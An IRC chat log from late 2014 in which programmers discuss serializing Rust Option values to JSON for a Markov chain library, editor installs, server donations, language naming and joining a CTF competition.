[2014-12-26T13:03:11-0500] <hardmath123> http://json.org/value.gif
[2014-12-26T13:03:18-0500] <Hyper> yeah
[2014-12-26T13:03:22-0500] <hardmath123> `null`, surprisingly enough
[2014-12-26T13:03:31-0500] <hardmath123> til
[2014-12-26T13:03:31-0500] <Hyper> so the lib should be serializing None to null
[2014-12-26T13:03:43-0500] <Hyper> I'm surprised it isn't `undefined`
[2014-12-26T13:03:49-0500] <@awe> I tried that in a json validator and that said invalid.
[2014-12-26T13:04:02-0500] <hardmath123> JS has both `null` and `undefined`. There's a difference. It's complicated.
[2014-12-26T13:04:10-0500] <Hyper> then the validator is wrong :)
[2014-12-26T13:04:23-0500] <hardmath123> Defining {'a': undefined} makes no sense (even by JS standards).
[2014-12-26T13:04:42-0500] <@awe> Hyper: you're completely positive?
[2014-12-26T13:04:57-0500] <Hyper> awe: http://json.org/, under value
[2014-12-26T13:05:14-0500] <Hyper> lemme check the proper standard document
[2014-12-26T13:05:15-0500] <@awe> No, it's right.
[2014-12-26T13:05:23-0500] <@awe> Look at the chart for Object.
[2014-12-26T13:05:46-0500] <Hyper> ah
[2014-12-26T13:05:47-0500] <Hyper> I see
[2014-12-26T13:05:55-0500] <Hyper> null as a string
[2014-12-26T13:05:56-0500] <Hyper> hrm
[2014-12-26T13:06:05-0500] <Hyper> that's annoying
[2014-12-26T13:06:21-0500] <@awe> Indeed.
[2014-12-26T13:06:22-0500] <Hyper> awe: perhaps use "" as a starting and ending value?
[2014-12-26T13:06:29-0500] <Hyper> instead of None
[2014-12-26T13:06:40-0500] <@awe> I could just do that before and after serialization.
[2014-12-26T13:06:40-0500] <Hyper> your serializer should never emit ""
[2014-12-26T13:06:49-0500] <Hyper> or that, sure
[2014-12-26T13:07:55-0500] <hardmath123> what language are you using, awe?
[2014-12-26T13:07:58-0500] <@awe> Rust.
[2014-12-26T13:08:07-0500] <Hyper> hardmath123: this is awe we're talking about
[2014-12-26T13:08:12-0500] <@awe> Exactly.
[2014-12-26T13:08:13-0500] <hardmath123> riiight
[2014-12-26T13:08:24-0500] <@awe> Hyper: I do do other languages though.
[2014-12-26T13:08:27-0500] <@awe> Hyper: I do C# for work.
[2014-12-26T13:08:31-0500] <@awe> Hyper: I do Java for school.
[2014-12-26T13:08:41-0500] <@awe> And I want to do Haskell more.
[2014-12-26T13:09:09-0500] <Hyper> I use C++ for school q.q
[2014-12-26T13:09:34-0500] <Hyper> and I don't have a job because I'm a loser
[2014-12-26T13:10:52-0500] <nezorg> [10:03] (Hyper) 12:04:35> A long history of depot-repairs over 3 years on my previous one
[2014-12-26T13:11:05-0500] <nezorg> can confirm, is best way to get free macbook
[2014-12-26T13:11:28-0500] <Hyper> nezorg: 5+ depot repairs, at least 5 more in-store ones :/
[2014-12-26T13:11:52-0500] <nezorg> yeah, mine had 5 over 1.5 years
[2014-12-26T13:11:54-0500] <Hyper> I'm always worried they'll recognize me when I go in
[2014-12-26T13:11:58-0500] <@awe> I'm uhh... not sure how to do this.
[2014-12-26T13:12:27-0500] <@awe> Hyper: I can't use an empty string as the starting and ending token in the code because it's a generalized markov chain.
[2014-12-26T13:12:36-0500] <@awe> So, I have to use it at serialization/deserialization.
[2014-12-26T13:13:05-0500] <Hyper> sure
[2014-12-26T13:13:16-0500] <nezorg> awe: just have Option<T>
[2014-12-26T13:13:19-0500] <@awe> nezorg: I do.
[2014-12-26T13:13:23-0500] <@awe> nezorg: that's the issue.
[2014-12-26T13:13:32-0500] <@awe> nezorg: it serializes to {"map":{"dogs":{"null":1},"like":{"dogs":1,"cats":1},"null":{"I":1},"cats":{"and":1},"I":{"like":2},"and":{"I":1}}}
[2014-12-26T13:13:47-0500] <@awe> nezorg: and when I load it again, suddenly, Some("null) instead of 
[2014-12-26T13:13:49-0500] <@awe> None.
[2014-12-26T13:14:17-0500] <nezorg> ah
[2014-12-26T13:14:23-0500] <Hyper> to be fair, that's how js would do it xP
[2014-12-26T13:14:32-0500] <@awe> Right, but I don't want that.
[2014-12-26T13:14:59-0500] <nezorg> well that's a json serialization problem
[2014-12-26T13:15:09-0500] <@awe> I know, but there's no valid json answer.
[2014-12-26T13:15:14-0500] <nezorg> solution: serialize as something other than json
[2014-12-26T13:15:28-0500] <@awe> The rustc-serialize library only really supports json
[2014-12-26T13:15:45-0500] <nezorg> then use serde or whatever it's called
[2014-12-26T13:17:12-0500] <@awe> Hmm, would TOML work?
[2014-12-26T13:17:19-0500] <nezorg> I have no idea
[2014-12-26T13:19:09-0500] <hardmath123> awe: serialize start and end as empty objects {}
[2014-12-26T13:19:44-0500] <@awe> Is that something that should be generalized behavior for the json serializer?
[2014-12-26T13:19:49-0500] <@awe> i.e. should I submit a PR for that?
[2014-12-26T13:20:18-0500] <@awe> hardmath123: wait, that still doesn't work.
[2014-12-26T13:20:30-0500] <@awe> hardmath123: the definition of Object is { string : value }
[2014-12-26T13:20:33-0500] <hardmath123> awe: yeah, submit a PR
[2014-12-26T13:20:38-0500] <@awe> hardmath123: It's not valid json.
[2014-12-26T13:21:09-0500] <hardmath123> >>> json.dumps({'a':None})
[2014-12-26T13:21:10-0500] <hardmath123> '{"a": null}'
[2014-12-26T13:21:17-0500] <hardmath123> [^^^ python]
[2014-12-26T13:21:26-0500] <@awe> Correct.
[2014-12-26T13:21:29-0500] <@awe> null is a valid *VALUE*
[2014-12-26T13:21:50-0500] <@awe> hardmath123: look at my example again.
[2014-12-26T13:22:24-0500] <Hyper> it'd be nice if you could have non-object values as keys :(
[2014-12-26T13:22:32-0500] <@awe> Hyper: non-string values, you mean.
[2014-12-26T13:22:54-0500] <Hyper> awe: I mean any value that is not an object (so including strings)
[2014-12-26T13:22:57-0500] <Hyper> erm
[2014-12-26T13:23:07-0500] <Hyper> anything that is not an object should be usable as a value
[2014-12-26T13:23:15-0500] <Hyper> those are the words 
[2014-12-26T13:23:18-0500] <@awe> That's already allowed.
[2014-12-26T13:23:31-0500] <Hyper> key
[2014-12-26T13:23:32-0500] <Hyper> dammit
[2014-12-26T13:23:35-0500] <@awe> Yes.
[2014-12-26T13:23:47-0500] <hardmath123> oh, so `null` solves your "end" problem but not your "start" problem
[2014-12-26T13:23:48-0500] <nezorg> awe: why not have a list of tuples?
[2014-12-26T13:23:48-0500] <@awe> Which is the same as allowing non-string keys.
[2014-12-26T13:23:52-0500] <hardmath123> as far as I can tell
[2014-12-26T13:23:55-0500] <@awe> hardmath123: no.
[2014-12-26T13:23:59-0500] <@awe> hardmath123: null solves none of my problems
[2014-12-26T13:24:04-0500] <Hyper> awe: you don't really want object keys because that's a bit ridiculous
[2014-12-26T13:24:33-0500] <@awe> Hyper: I guess.
[2014-12-26T13:24:57-0500] <@awe> hardmath123: there's nothing wrong with this serializer. It only produces valid json.
[2014-12-26T13:25:07-0500] <@awe> hardmath123: The issue is that my usage cannot be serialized losslessly to json.
[2014-12-26T13:26:17-0500] <@awe> I give up.
[2014-12-26T13:26:20-0500] <@awe> This isn't a valuable change.
[2014-12-26T13:26:21-0500] <hardmath123> oh. I suppose I haven't entirely understood your usage
[2014-12-26T13:26:24-0500] <nezorg> yeah it can
[2014-12-26T13:26:30-0500] <nezorg> use a list of tuplea
[2014-12-26T13:26:30-0500] <@awe> It cannot.
[2014-12-26T13:26:38-0500] <@awe> What are you talking about a list of tupels?
[2014-12-26T13:26:40-0500] <@awe> tuples*
[2014-12-26T13:27:18-0500] <nezorg> instead of {"foo": "bar", "null": "asdf"}
[2014-12-26T13:27:45-0500] <nezorg> have [["foo", "bar"], [null, "asdf"]]
[2014-12-26T13:28:01-0500] <@awe> Doesn't work because that doesn't actually represent a hashmap.
[2014-12-26T13:28:13-0500] <nezorg> why not?
[2014-12-26T13:28:17-0500] <nezorg> it can
[2014-12-26T13:28:22-0500] <@awe> Because it's a list of lists.
[2014-12-26T13:28:36-0500] <@awe> [["foo", "bar", "baz"], [null, "oshit"]]
[2014-12-26T13:28:53-0500] <nezorg> well if you're allowing custom input you're screwed anyway
[2014-12-26T13:29:18-0500] <nezorg> but if you control both sides it's fine
[2014-12-26T13:29:19-0500] <@awe> The point is that nothing would reasonably serialize a hashmap as that and nothing would reasonably deserialize a hashmap as that.
[2014-12-26T13:29:33-0500] <@awe> It's a hack.
[2014-12-26T13:29:35-0500] <nezorg> well, it fixes your case, is all
[2014-12-26T13:29:50-0500] <@awe> I'm just going to continue using a start and end token provided by the user.
[2014-12-26T13:29:51-0500] <nezorg> I often implement hacks when no better solution is available
[2014-12-26T13:29:56-0500] <nezorg> but alright
[2014-12-26T13:30:04-0500] <@awe> The better solution is not switching to using Option.
[2014-12-26T13:30:14-0500] <nezorg> I don't agree, but okay
[2014-12-26T13:30:45-0500] <@awe> I'd have to write an encoder and decoder specifically for that format.
[2014-12-26T13:31:10-0500] <nezorg> that's not hard, though
[2014-12-26T13:31:12-0500] <@awe> That's rather complex just to not ask the user for a start and end token.
[2014-12-26T13:31:38-0500] <nezorg> well, w/e
[2014-12-26T13:31:51-0500] <@awe> The json serializer in rustc-serialize is 3843 lines.
[2014-12-26T13:31:56-0500] <@awe> My markov library is 400.
[2014-12-26T13:32:14-0500] <nezorg> you can use the json library
[2014-12-26T13:32:24-0500] <@awe> I cannot.
[2014-12-26T13:33:56-0500] <@awe> The only way I could is by converting my code into A Vec of Vecs.
[2014-12-26T13:34:01-0500] <@awe> and then serializing and deserializing that.
[2014-12-26T13:34:42-0500] <@awe> Which is easier than writing a new one, but is still complex and also slow.
[2014-12-26T13:35:06-0500] <@awe> Because you'd actually have to change it so that
[2014-12-26T13:35:07-0500] <@awe> {"map":{"dogs":{"null":1},"like":{"dogs":1,"cats":1},"null":{"I":1},"cats":{"and":1},"I":{"like":2},"and":{"I":1}}}
[2014-12-26T13:35:07-0500] <@awe> becomes
[2014-12-26T13:37:29-0500] <@awe> {"map":[["dogs", [[null, 1]]], ["like", [["dogs", 1], ["cats", 1]]], [null, ["I", 1]], ["cats", ["and", 1]], ["I", ["like", 2]], ["and", ["I", 1]]]}
[2014-12-26T13:38:45-0500] <@awe> which actually has no valid Rust equivalent.
[2014-12-26T13:38:55-0500] <@awe> unless you put all the keys in a vec.
[2014-12-26T13:39:04-0500] <@awe> in which case it's actually a vec of vecs of vecs.
[2014-12-26T13:39:19-0500] <nezorg> just a sec, my computer is having trouble booting
[2014-12-26T13:39:25-0500] <nezorg> then I'll write the code for you
[2014-12-26T13:48:31-0500] <+JacobEdelman> i dislike mint
[2014-12-26T13:48:52-0500] <+JacobEdelman> I just was forced to install atom by getting a .deb file from the internet
[2014-12-26T13:49:01-0500] <+JacobEdelman> rather than just sudo apt-get installing it
[2014-12-26T13:49:48-0500] <@awe> Forced how?
[2014-12-26T13:49:53-0500] <@awe> It's not in the repo?
[2014-12-26T13:50:16-0500] <@awe> nezorg: https://github.com/aatxe/markov/blob/no-user-terminals/src/lib.rs
[2014-12-26T13:52:58-0500] <@awe> nezorg: You can sign the CLA, and then PR when you're done.
[2014-12-26T14:01:37-0500] <+JacobEdelman> awe: the version in the repo is too old and for some reason its checking ubuntu packages
[2014-12-26T14:01:46-0500] <@awe> JacobEdelman: "for some reason"
[2014-12-26T14:01:55-0500] <+JacobEdelman> this is my mom's computer
[2014-12-26T14:01:57-0500] <+JacobEdelman> not my fault
[2014-12-26T14:02:08-0500] <@awe> JacobEdelman: maybe because it's based on Ubuntu and half the repository is Ubuntu?
[2014-12-26T14:02:22-0500] <+JacobEdelman> yeah, but I still thought they maintained their own package repository
[2014-12-26T14:02:31-0500] <@awe> They fallback to Ubuntu, I think.
[2014-12-26T14:02:34-0500] <+JacobEdelman> even if they just used old ubuntu packages
[2014-12-26T14:02:36-0500] <+JacobEdelman> oh
[2014-12-26T14:02:38-0500] <@awe> You should just use vim on her computer.
[2014-12-26T14:02:40-0500] <+JacobEdelman> well, its annoying
[2014-12-26T14:02:42-0500] <+JacobEdelman> nah
[2014-12-26T14:02:46-0500] <+JacobEdelman> I got atom
[2014-12-26T14:02:53-0500] <@awe> Atom is so slow.
[2014-12-26T14:03:03-0500] <+JacobEdelman> true :P
[2014-12-26T14:03:07-0500] <@awe> You know why?
[2014-12-26T14:03:09-0500] <@awe> JAVASCRIPT.
[2014-12-26T14:03:15-0500] <+JacobEdelman> nah
[2014-12-26T14:03:24-0500] <+JacobEdelman> its because of evil magical goblins in the programming
[2014-12-26T14:03:29-0500] <+JacobEdelman> duh
[2014-12-26T14:03:37-0500] <@awe> Known as programmers who think everything should be written in JS.
[2014-12-26T14:04:22-0500] <Hyper> hopefully they're at least using something other than a string for the document
[2014-12-26T14:04:31-0500] <Hyper> or at least a gap buffer
[2014-12-26T14:04:41-0500] <@awe> Unsure. I think the Atom core is closed-source.
[2014-12-26T14:04:45-0500] <@awe> It runs on Chromium though.
[2014-12-26T14:06:46-0500] <+JacobEdelman> its not closed
[2014-12-26T14:06:53-0500] <+JacobEdelman> I'm 70% sure they opened it
[2014-12-26T14:07:10-0500] <+JacobEdelman> https://github.com/atom/atom
[2014-12-26T14:07:43-0500] <@awe> Oh, okay.
[2014-12-26T14:08:55-0500] <+JacobEdelman> if we had a community run blog
[2014-12-26T14:08:59-0500] <+JacobEdelman> would you guys post?
[2014-12-26T14:09:00-0500] <@awe> Hyper: they have a text buffer.
[2014-12-26T14:09:05-0500] <@awe> JacobEdelman: I don't post on my own blog.
[2014-12-26T14:09:09-0500] <+JacobEdelman> yes
[2014-12-26T14:09:14-0500] <+JacobEdelman> but I thought the idea of exposure
[2014-12-26T14:09:27-0500] <+JacobEdelman> by having many people work on and read the blog (those people being us)
[2014-12-26T14:09:31-0500] <+JacobEdelman> might help
[2014-12-26T14:09:40-0500] <@awe> Sure.
[2014-12-26T14:09:51-0500] <+JacobEdelman> I mean, it would basicly just be a place to post longer things than would be normal in an irc
[2014-12-26T14:10:11-0500] <@awe> Well, and more organized and formalized.
[2014-12-26T14:10:45-0500] <@awe> You guys should set up monthly donations to help run Pdgn and then I can run more services under it.
[2014-12-26T14:14:36-0500] <+JacobEdelman> eh, its so small right now
[2014-12-26T14:14:44-0500] <+JacobEdelman> if more people used it than it would be economical
[2014-12-26T14:15:00-0500] <+JacobEdelman> hit 1000 users
[2014-12-26T14:15:06-0500] <+JacobEdelman> than I'll talk
[2014-12-26T14:17:02-0500] <@awe> Uhh...
[2014-12-26T14:17:10-0500] <@awe> I don't think you understand how scale works.
[2014-12-26T14:17:30-0500] <@awe> Right now, if everyone donated 75 cents a month, the server would be paid for.
[2014-12-26T14:18:23-0500] <+JacobEdelman> I know
[2014-12-26T14:18:36-0500] <+JacobEdelman> but how many people can the server hold
[2014-12-26T14:18:52-0500] <@awe> Hmm.
[2014-12-26T14:19:25-0500] <@awe> Memory usage: 31% 
[2014-12-26T14:19:32-0500] <@awe> That's including my website though.
[2014-12-26T14:20:09-0500] <@awe> InspIRCd is using 0.6% of the memory.
[2014-12-26T14:20:18-0500] <@awe> And Pidgey is using the same.
[2014-12-26T14:20:44-0500] <@awe> Ghost is using like 15% of the memory.
[2014-12-26T14:20:58-0500] <@awe> So, uhh...
[2014-12-26T14:21:04-0500] <@awe> JacobEdelman: Probably several hundred.
[2014-12-26T14:21:12-0500] <@awe> JacobEdelman: maybe more.
[2014-12-26T14:21:47-0500] <@awe> JacobEdelman: which would obviously mean everyone donates a fraction of a penny.
[2014-12-26T14:22:08-0500] <+JacobEdelman> so, I'm really paying 100x the expenses of what I'm using if we evenely split the costs now
[2014-12-26T14:22:24-0500] <+JacobEdelman> hence, my desire to see more people on the server
[2014-12-26T14:23:35-0500] <@awe> That's a terrible way to look at it.
[2014-12-26T14:23:45-0500] <@awe> Because whether you're actually using the space or not, that's the server we're running on.
[2014-12-26T14:25:49-0500] <+JacobEdelman> true
[2014-12-26T14:25:57-0500] <+JacobEdelman> its just way more cost effective if we have more people
[2014-12-26T14:26:46-0500] awe changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2014-12-26T14:27:26-0500] <+JacobEdelman> (also, I bet most of the memory that the irc server is using is just general, flat, overhead, doubling the amount of users will probaly only add a fraction of the amount its already using)
[2014-12-26T14:27:32-0500] <@awe> Probably.
[2014-12-26T14:27:35-0500] <+JacobEdelman> *small fraction
[2014-12-26T14:27:43-0500] <@awe> Well.
[2014-12-26T14:27:48-0500] <@awe> I don't think most of the memory is overhead.
[2014-12-26T14:27:53-0500] <+JacobEdelman> you should work on increasing the amount of users
[2014-12-26T14:27:56-0500] <@awe> Its probably a substantial portion.
[2014-12-26T14:28:02-0500] <+JacobEdelman> find some reason for people to migrate here
[2014-12-26T14:28:17-0500] <@awe> Because decentralization.
[2014-12-26T14:28:33-0500] <@awe> Everything being on freenode is probably bad.
[2014-12-26T14:28:54-0500] <@awe> Although my goal is definitely not to grow like that
[2014-12-26T14:29:27-0500] <hardmath123> i started learning me a haskell. i feel vaguely enlightened. also my head feels like it's filled with soup.
[2014-12-26T14:29:45-0500] <@awe> Haskell is confusing sometimes.
[2014-12-26T14:29:53-0500] <@awe> It's got a somewhat high barrier to entry.
[2014-12-26T14:30:44-0500] <+JacobEdelman> hmm... later today or tommorow I will haskell
[2014-12-26T14:30:48-0500] <+JacobEdelman> after working on lark a bit
[2014-12-26T14:31:17-0500] <nezorg> awe: naaaaahhhh
[2014-12-26T14:31:17-0500] <nezorg> monads are just monoids in the category of endofunctors
[2014-12-26T14:31:19-0500] <+JacobEdelman> I wanna release lark 0.0.2 (which will have the new feature of being able to run programs!) by the end of brake
[2014-12-26T14:31:30-0500] <@awe> nezorg: Which itself is a very simple phrase as long as you know the terms.
[2014-12-26T14:31:34-0500] <+JacobEdelman> nezorg: I accidentaly invented monads once
[2014-12-26T14:31:38-0500] <@awe> Sort of.
[2014-12-26T14:31:40-0500] <@awe> You sort of invented them.
[2014-12-26T14:31:42-0500] <nezorg> awe: yeah :P
[2014-12-26T14:31:52-0500] <+JacobEdelman> nezorg: at which point I realized I should just learn haskell
[2014-12-26T14:31:59-0500] <nezorg> JacobEdelman: by the end of brake?
[2014-12-26T14:31:59-0500] <+JacobEdelman> I did
[2014-12-26T14:32:15-0500] <+JacobEdelman> break
[2014-12-26T14:32:19-0500] <+JacobEdelman> I meant beak
[2014-12-26T14:32:33-0500] <+JacobEdelman> english is for peope who still have to take the SATs
[2014-12-26T14:32:35-0500] <@awe> JacobEdelman can't speak English.
[2014-12-26T14:32:56-0500] <+JacobEdelman> I got only one question wrong on the entire SAT writing multi choice, and an 800 on the reading
[2014-12-26T14:32:58-0500] <+JacobEdelman> I can english
[2014-12-26T14:33:02-0500] <+JacobEdelman> I just choose not too
[2014-12-26T14:33:21-0500] <nezorg> JacobEdelman: essay-Ts?
[2014-12-26T14:33:28-0500] <+JacobEdelman> lol
[2014-12-26T14:33:37-0500] <+JacobEdelman> no Sssss- Ahhhh-Ts
[2014-12-26T14:33:58-0500] <@awe> For the record, all donations to the address in the topic will actually be used to operate PdgnCo.
[2014-12-26T14:34:02-0500] <+JacobEdelman> I'm better known irl for mispronouncing things than misspelling
[2014-12-26T14:34:09-0500] <+JacobEdelman> but here I am safe at least
[2014-12-26T14:34:28-0500] <+JacobEdelman> awe: does that include your salary :P
[2014-12-26T14:34:31-0500] <@awe> No.
[2014-12-26T14:34:34-0500] <@awe> I'm a volunteer.
[2014-12-26T14:35:01-0500] <@awe> At least until such a time as managing this IRC becomes a costly endeavor, but I don't think that'll ever be the case.
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[2014-12-26T16:42:38-0500] <alokpathy> The_Master: Salutations.
[2014-12-26T16:43:04-0500] <The_Master> alokpathy: Greetings.
[2014-12-26T16:51:10-0500] <+JacobEdelman> so
[2014-12-26T16:51:11-0500] <+JacobEdelman> question
[2014-12-26T16:51:21-0500] <+JacobEdelman> I found out theres another programming lang named lark
[2014-12-26T16:51:33-0500] <+JacobEdelman> but that hasn't been updated since 2010
[2014-12-26T16:51:36-0500] <+JacobEdelman> and appears very small
[2014-12-26T16:51:44-0500] <+JacobEdelman> should I bother changing the name of mine?
[2014-12-26T16:53:31-0500] <alokpathy> Go with kral.
[2014-12-26T16:56:47-0500] <+JacobEdelman> ?
[2014-12-26T17:09:02-0500] <@awe> JacobEdelman: why did you name it lark?
[2014-12-26T17:09:41-0500] <+JacobEdelman> I liked the name
[2014-12-26T17:09:57-0500] <+JacobEdelman> and it is possibly I saw that language before and subconsioly choose lark later
[2014-12-26T17:10:20-0500] <+JacobEdelman> https://github.com/munificent/lark/
[2014-12-26T17:11:21-0500] <+JacobEdelman> I still like the name
[2014-12-26T17:11:36-0500] <+JacobEdelman> it emphasises playfullness, is unusual, and rolls off the tounge easily
[2014-12-26T17:14:50-0500] <@awe> I hate it.
[2014-12-26T17:14:55-0500] <@awe> It sounds like another word for retard to me.
[2014-12-26T17:15:24-0500] <+JacobEdelman> ... did you hate it before I made my language?
[2014-12-26T17:15:32-0500] <@awe> Yes.
[2014-12-26T17:16:22-0500] <@awe> It's a really ugly word.
[2014-12-26T17:16:27-0500] <@awe> If I made a language, I'd name it something smooth
[2014-12-26T17:16:42-0500] <@awe> Almost certainly with an s or soft c sound.
[2014-12-26T17:17:18-0500] <Hyper> starch - a language that encourages utter rigidity in program design
[2014-12-26T17:17:42-0500] <Hyper> heh
[2014-12-26T17:17:45-0500] <@awe> Hah.
[2014-12-26T17:17:49-0500] <@awe> The name starch isn't bad.
[2014-12-26T17:17:55-0500] <@awe> The language concept would be frustrating.
[2014-12-26T17:18:03-0500] <Hyper> well that's the point :D
[2014-12-26T17:21:24-0500] <alokpathy> Cinsa 
[2014-12-26T17:21:27-0500] <alokpathy> :D
[2014-12-26T17:27:21-0500] <@awe> Cinca would be cool.
[2014-12-26T17:27:55-0500] <@awe> Pronounced like Cincinnati. 
[2014-12-26T17:28:03-0500] <@awe> Well, sort of.
[2014-12-26T17:34:52-0500] <alokpathy> Cinci 
[2014-12-26T17:34:53-0500] <alokpathy> :D
[2014-12-26T17:36:33-0500] <+JacobEdelman> hmmm,,,, cinci
[2014-12-26T17:36:42-0500] <+JacobEdelman> *those , were meant to be .s
[2014-12-26T17:36:47-0500] <+JacobEdelman> *.'s?
[2014-12-26T17:36:48-0500] <+JacobEdelman> wow
[2014-12-26T17:36:56-0500] <+JacobEdelman> I didn't misstype anything there
[2014-12-26T17:37:03-0500] <+JacobEdelman> I actually did mean 
[2014-12-26T17:37:09-0500] <+JacobEdelman> "*.'s?"
[2014-12-26T17:37:39-0500] <+JacobEdelman> translation: correction to the above, I meant periods, I guess?
[2014-12-26T17:37:46-0500] <+JacobEdelman> such bad english
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[2014-12-26T17:38:07-0500] <+JacobEdelman> the lack of english killed me
[2014-12-26T17:38:10-0500] <+JacobEdelman> but I'm back now
[2014-12-26T17:43:58-0500] <@awe> JacobEdelman: I don't know what you were trying to say.
[2014-12-26T17:44:43-0500] <alokpathy> I'm not sure if JacobEdelman even knows.
[2014-12-26T17:44:58-0500] <+JacobEdelman> I don't know
[2014-12-26T17:45:01-0500] <+JacobEdelman> thats why I left
[2014-12-26T17:45:09-0500] <+JacobEdelman> I ritually purified myself of english
[2014-12-26T17:45:12-0500] <+JacobEdelman> I am back to sanity now
[2014-12-26T17:45:17-0500] <+JacobEdelman> well
[2014-12-26T17:45:18-0500] <+JacobEdelman> not really
[2014-12-26T17:45:22-0500] <+JacobEdelman> but we can pretend I am
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[2014-12-26T18:07:39-0500] <alokpathy> Pharyngeal: NotAPharynx?
[2014-12-26T18:16:03-0500] <@awe> hi Pharyngeal 
[2014-12-26T18:24:55-0500] <+Tamini> oh guys
[2014-12-26T18:25:15-0500] <+Tamini> anyone doing https://31c3ctf.aachen.ccc.de/announcements/ 
[2014-12-26T18:25:16-0500] <+Tamini> ?
[2014-12-26T18:40:16-0500] <alokpathy> Oh, hm
[2014-12-26T18:40:17-0500] <alokpathy> I might
[2014-12-26T18:42:22-0500] <+Tamini> with who?
[2014-12-26T18:42:26-0500] <+Tamini> half my team is out of town so
[2014-12-26T18:42:40-0500] <+Tamini> im okay with being adopted
[2014-12-26T18:42:40-0500] <+Tamini> <3
[2014-12-26T18:43:15-0500] <alokpathy> Nobody :D
[2014-12-26T18:43:22-0500] <alokpathy> I just found out about it now.
[2014-12-26T18:43:25-0500] <+Tamini> lol
[2014-12-26T18:43:30-0500] <+Tamini> let me be on your team
[2014-12-26T18:43:30-0500] <alokpathy> JacobEdelman: seems busy.
[2014-12-26T18:43:37-0500] <alokpathy> leggo
[2014-12-26T18:43:39-0500] <+Tamini> because I probably won't be able to do too much but
[2014-12-26T18:43:43-0500] <+Tamini> i wanna look at problems and such
[2014-12-26T18:43:51-0500] <alokpathy> Same
[2014-12-26T18:43:52-0500] <+Tamini> lol, oh
[2014-12-26T18:43:58-0500] <+Tamini> I made friends with this guy from CSAW
[2014-12-26T18:43:58-0500] <alokpathy> I still have two apps
[2014-12-26T18:44:02-0500] <+Tamini> that i still keep in touch with
[2014-12-26T18:44:10-0500] <+Tamini> and hes so good at ctfing holy shit but
[2014-12-26T18:44:10-0500] <alokpathy> Oh cool
[2014-12-26T18:44:16-0500] <alokpathy> Oh nice
[2014-12-26T18:44:16-0500] <+Tamini> he's not good at english
[2014-12-26T18:44:21-0500] <+Tamini> and it frustrates the hell out of me so
[2014-12-26T18:44:22-0500] <alokpathy> Oh oops
[2014-12-26T18:44:28-0500] <+Tamini> I'm kinda reluctant to ask him to do this with me
[2014-12-26T18:44:28-0500] <+Tamini> LOL
[2014-12-26T18:44:47-0500] <+Tamini> we both get frustrated because sometimes he speaks portuguese and thinks he's speaking english
[2014-12-26T18:45:01-0500] <alokpathy> I tried speaking in Spanish in 4th grade
[2014-12-26T18:45:12-0500] <alokpathy> I ended up speaking in the Indian language I speak at home
[2014-12-26T18:45:13-0500] <alokpathy> and uh
[2014-12-26T18:45:15-0500] <alokpathy> things got weird
[2014-12-26T18:46:06-0500] <+Tamini> LOL
[2014-12-26T18:46:11-0500] <@awe> So, I got admitted into the CS major now.
[2014-12-26T18:46:18-0500] <+Tamini> "the indian language i speak at home"
[2014-12-26T18:47:38-0500] <alokpathy> awe: wooo
[2014-12-26T18:47:41-0500] <+Tamini> awe: oh, yay!
[2014-12-26T18:47:47-0500] <ubuntor> awe: nice
[2014-12-26T18:47:49-0500] <alokpathy> awe: No double major in econ/finance/math?
[2014-12-26T18:47:53-0500] <+Tamini> I thought you were alokpathy for a second and I got really confused
[2014-12-26T18:47:54-0500] <+Tamini> lol
[2014-12-26T18:48:01-0500] <alokpathy> Tamini: I got admitted a while back.
[2014-12-26T18:48:10-0500] <@awe> Well, I mean, I could change, but I told you I'm probably not doing that.
[2014-12-26T18:48:18-0500] <+Tamini> alokpathy: ooh, where?
[2014-12-26T18:48:19-0500] <@awe> I'm just going to graduate in three years and then grad school.
[2014-12-26T18:48:27-0500] <+Tamini> awe: sounds fun
[2014-12-26T18:48:27-0500] <+Tamini> heh
[2014-12-26T18:48:34-0500] <+Tamini> I had a really cool guy drive me home 
[2014-12-26T18:48:35-0500] <alokpathy> Tamini: MIT. I'm a freshman there.
[2014-12-26T18:48:39-0500] <alokpathy> Tamini: My name is Ernest.
[2014-12-26T18:48:45-0500] <alokpathy> awe: Ah, I remember now.
[2014-12-26T18:48:47-0500] <+Tamini> but he convinced me that college was meh
[2014-12-26T18:49:00-0500] <+Tamini> and alokpathy: Hi Erniu Chest, teach me math.
[2014-12-26T18:49:47-0500] <alokpathy> Tamini: 1 + 1 = 2 only when Jesus is satisfied with your devotion.
[2014-12-26T18:49:57-0500] <+Tamini> but I thought you were jesus
[2014-12-26T18:50:22-0500] <@awe> Tamini: Uni is alright.
[2014-12-26T18:51:30-0500] <+Tamini> awe: well his logic was "i'm probably not going to be unemployeed unless I decide to mug someone, so I find it very difficult to care"
[2014-12-26T18:51:32-0500] <+JacobEdelman> wait
[2014-12-26T18:51:34-0500] <+Tamini> which makes sense.
[2014-12-26T18:51:42-0500] <+JacobEdelman> whos alokpathy and who's not?
[2014-12-26T18:51:46-0500] <+JacobEdelman> I'm confused
[2014-12-26T18:51:50-0500] <+JacobEdelman> reading through these logs
[2014-12-26T18:51:53-0500] <+Tamini> JacobEdelman: there are only two people on the internet
[2014-12-26T18:52:04-0500] <alokpathy> Tamini: Who told you that?
[2014-12-26T18:52:34-0500] <+JacobEdelman> I know
[2014-12-26T18:52:35-0500] <+JacobEdelman> me and other
[2014-12-26T18:53:56-0500] <@awe> Tamini: well, yeah, if you're already pretty rich, that's true.
[2014-12-26T18:57:02-0500] <alokpathy> awe: Tell Lauren I said happy birthday woo
[2014-12-26T18:57:10-0500] <@awe> Her birthday is tomorrow.
[2014-12-26T18:57:26-0500] <alokpathy> Dammit FB
[2014-12-26T18:59:31-0500] <+Tamini> alokpathy: my pretty damn successful ride home
[2014-12-26T18:59:39-0500] <+Tamini> something something internships at google every summer
[2014-12-26T18:59:50-0500] <alokpathy> Tamini: Ride home from where?
[2014-12-26T18:59:58-0500] <+Tamini> alokpathy: we had a meetup!
[2014-12-26T19:00:05-0500] <alokpathy> I'm confused .-.
[2014-12-26T19:01:48-0500] <+Tamini> alokpathy: uhh
[2014-12-26T19:01:49-0500] <+Tamini> alums
[2014-12-26T19:01:51-0500] <+Tamini> and stuff
[2014-12-26T19:03:00-0500] <alokpathy> I see
[2014-12-26T20:08:48-0500] <alokpathy> Tamini: Did you register for 31C3?
[2014-12-26T20:12:06-0500] <+Tamini> nope
[2014-12-26T20:12:08-0500] <+Tamini> do you wanna do it?
[2014-12-26T20:12:48-0500] <alokpathy> Surey.
[2014-12-26T20:13:02-0500] <alokpathy> I mean, I won't be able to spend all my time on it, but why not?
[2014-12-26T20:13:14-0500] <alokpathy> Hmm, team name
